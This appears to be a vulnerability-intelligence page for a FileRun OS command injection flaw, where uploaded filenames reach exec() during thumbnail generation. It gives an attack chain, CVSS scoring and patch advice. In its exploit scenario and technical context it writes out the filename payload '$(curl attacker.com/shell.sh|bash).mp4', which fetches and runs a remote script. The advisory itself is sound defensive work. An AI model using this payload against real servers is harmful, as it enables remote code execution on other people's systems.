Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconAuthenticate with low-privilege FileRun account
-
DeliveryUpload file with shell-injection filename (e.g. $(cmd).mp4)
-
ExploitFileRun filename sanitizer passes crafted name through
-
InstallThumbnail subsystem passes double-quoted filename to exec()
-
C2Installed tool (ffmpeg/ImageMagick/vips/stl-thumb) triggers shell evaluation
-
ExecuteInjected OS command executes as web server process user
-
ImpactRemote code execution achieved
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires possession of a valid FileRun user account with file upload permissions - the CVSS 4.0 PR:L metric confirms a low-privilege authenticated session is sufficient; unauthenticated access cannot trigger this vulnerability. The attack is entirely remote (AV:N) and requires no interaction from another user (UI:N). The thumbnail generation subsystem must be active, and at least one of the four supported thumbnail tools - ffmpeg, ImageMagick, vips, or stl-thumb - must be installed on the server and reachable by the FileRun process. The filename sanitizer must fail to strip shell command substitution sequences such as $(...); this failure is the described flaw in versions ≤2026.2.0. Environments where none of these thumbnail tools are installed may not trigger the vulnerable code path. No non-default configuration is required beyond the standard FileRun deployment with thumbnail generation enabled. |
| Impact | The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N) scores 8.7 and reflects a network-accessible, low-complexity exploit requiring only a standard authenticated session - no special attack prerequisites beyond file upload permission. Full confidentiality, integrity, and availability impact on the vulnerable system (VC:H/VI:H/VA:H) is consistent with arbitrary OS command execution as the web server process user. The absence of a CISA KEV listing and absence of confirmed public exploit code slightly tempers immediate urgency; however, the attack technique (shell command substitution in double-quoted strings) is a well-understood, widely-documented pattern requiring no specialized tooling, making independent rediscovery highly probable. EPSS data was not provided in the input and cannot be stated. There is no signal conflict in the available data - the described mechanism, CVSS vector, and CWE all align consistently. The primary risk limiter is the PR:L requirement: unauthenticated access does not trigger the vulnerability. |
| Exploit ScenarioDerived | An attacker with a valid low-privilege FileRun account uploads a video file named $(curl attacker.com/shell.sh|bash).mp4 - the filename passes the application's sanitizer intact because the sanitizer does not strip command substitution sequences. When FileRun's thumbnail generation pipeline invokes ffmpeg or another installed tool to produce a preview, the shell evaluates the injected command, downloading and executing attacker-controlled code as the web server process user. No public proof-of-concept code has been identified at time of analysis, but the technique is a standard Unix shell injection pattern requiring no specialized knowledge. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Aug 11, 2026
Remote code execution in FileRun ≤2026.2.0 is achievable by any authenticated user who can upload files, exploiting a shell command injection flaw in the thumbnail generation pipeline. The subsystem passes uploaded filenames wrapped in double-quotes directly to exec() without escapeshellarg() sanitization, meaning filenames such as $(PAYLOAD).mp4 survive the filename sanitizer and are evaluated as shell commands when ffmpeg, ImageMagick, vips, or stl-thumb processes the upload. Vendor-released patch 2026.2.1 is available; no CISA KEV listing or public exploit code has been identified at time of analysis, but the low-complexity, authenticated-only barrier makes this a high-priority patch target for any FileRun deployment.
RemediationAI
Upgrade FileRun to version 2026.2.1, the vendor-confirmed patched release per the changelog at https://filerun.com/index.php/changelog?v=2026.2.1. If immediate upgrade is not feasible, disable thumbnail generation for uploaded files to prevent the vulnerable code path from executing - note that this will degrade media preview functionality for users. As an additional compensating control, restrict file upload privileges to the minimum set of trusted accounts, reducing the pool of users who can trigger the flaw; this does not eliminate the vulnerability but narrows the attack surface. Ensure the web server process runs under a dedicated low-privilege OS user account to limit the blast radius of any successful exploit. Further technical context on the flaw is available in the VulnCheck advisory at https://www.vulncheck.com/advisories/filerun-rce-via-thumbnail-generation-command-injection.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
FileRun is a self-hosted web-based file management and sharing platform. CWE-78 (Improper Neutralization of Special Elements used in an OS Command) describes the root cause: the thumbnail generation subsystem constructs shell invocations by embedding filenames inside double-quoted strings before passing them to exec(), rather than using escapeshellarg() or equivalent sanitization. In Unix-like shells, double-quoting preserves shell command substitution sequences such as $(...) and ..., so a filename like $(curl attacker.com/shell.sh|bash).mp4 is interpreted by the shell rather than treated as a literal string. The vulnerability is triggered by one of four external thumbnail tools - ffmpeg, ImageMagick, vips, or stl-thumb - whichever is installed and invoked for the uploaded file type. The CPE cpe:2.3:a:filerun:filerun:*:*:*:*:*:*:*:* covers all FileRun versions through 2026.2.0 with no platform restriction stated.
Know when Filerun gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Requires only a low-privilege authenticated session (PR:L) over the network (AV:N); no scope change as impact is confined to the vulnerable FileRun system (S:U).
Primary rating from Vendor (VulnCheck).
CVSS VectorVendor: VulnCheck
DescriptionCVE.org
FileRun up to and including version 2026.2.0 contains an OS command injection vulnerability that allows authenticated attackers to achieve remote code execution by uploading a file with a malicious filename containing shell command substitution sequences. The thumbnail generation system passes filenames wrapped in shell double-quotes directly to exec() without escapeshellarg() sanitization, allowing filenames such as $(PAYLOAD).mp4 to survive the filename sanitizer and be evaluated as shell commands when ffmpeg, ImageMagick, vips, or stl-thumb processes the file during thumbnail generation.
Executive ViewAI
FileRun versions through 2026.2.0 contain a remote code execution vulnerability in file upload handling that allows authenticated users to execute arbitrary system commands through malicious filenames. Organizations using FileRun must prioritize patching to prevent insider threats and post-compromise exploitation leveraging compromised user accounts with file upload privileges.
Apply vendor patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
FileRun (version 2017.09.18 and below) suffers from a remote SQL injection vulnerability due to a failure to sanitize in
OS command injection in FileRun before 2026.3.0 enables a network-accessible superuser to execute arbitrary commands on
In Afian Filerun 20220202, lack of sanitization of the POST parameter "metadata[]" in `/?module=fileman§ion=get&page
OS command injection in FileRun's PhotoProofSheet handler allows any authenticated user with upload permission to execut
SQL injection in FileRun before 2026.3.0 allows delegated or simple administrators to escalate privileges to superuser a
PHP object injection in FileRun before 2026.3.0 enables authenticated attackers with database write access to achieve re
Afian FileRun 2021.03.26 allows Remote Code Execution (by administrators) via the Check Path value for the ffmpeg binary
Afian FileRun 2021.03.26 allows Remote Code Execution (by administrators) via the Check Path value for the magick binary
Afian FileRun (before 2018.02.13) suffers from a remote SQL injection vulnerability, when logged in as superuser, via th
Afian FileRun (before 2018.02.13) suffers from a remote SQL injection vulnerability, when logged in as superuser, via th
Afian FileRun 2021.03.26 allows XSS when an administrator encounters a crafted document during use of the HTML Editor fo
Afian FileRun 2021.03.26 allows stored XSS via an HTTP X-Forwarded-For header that is mishandled when rendering Activity
EUVD-2026-56976
GHSA-mcfq-hmcc-5pch
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB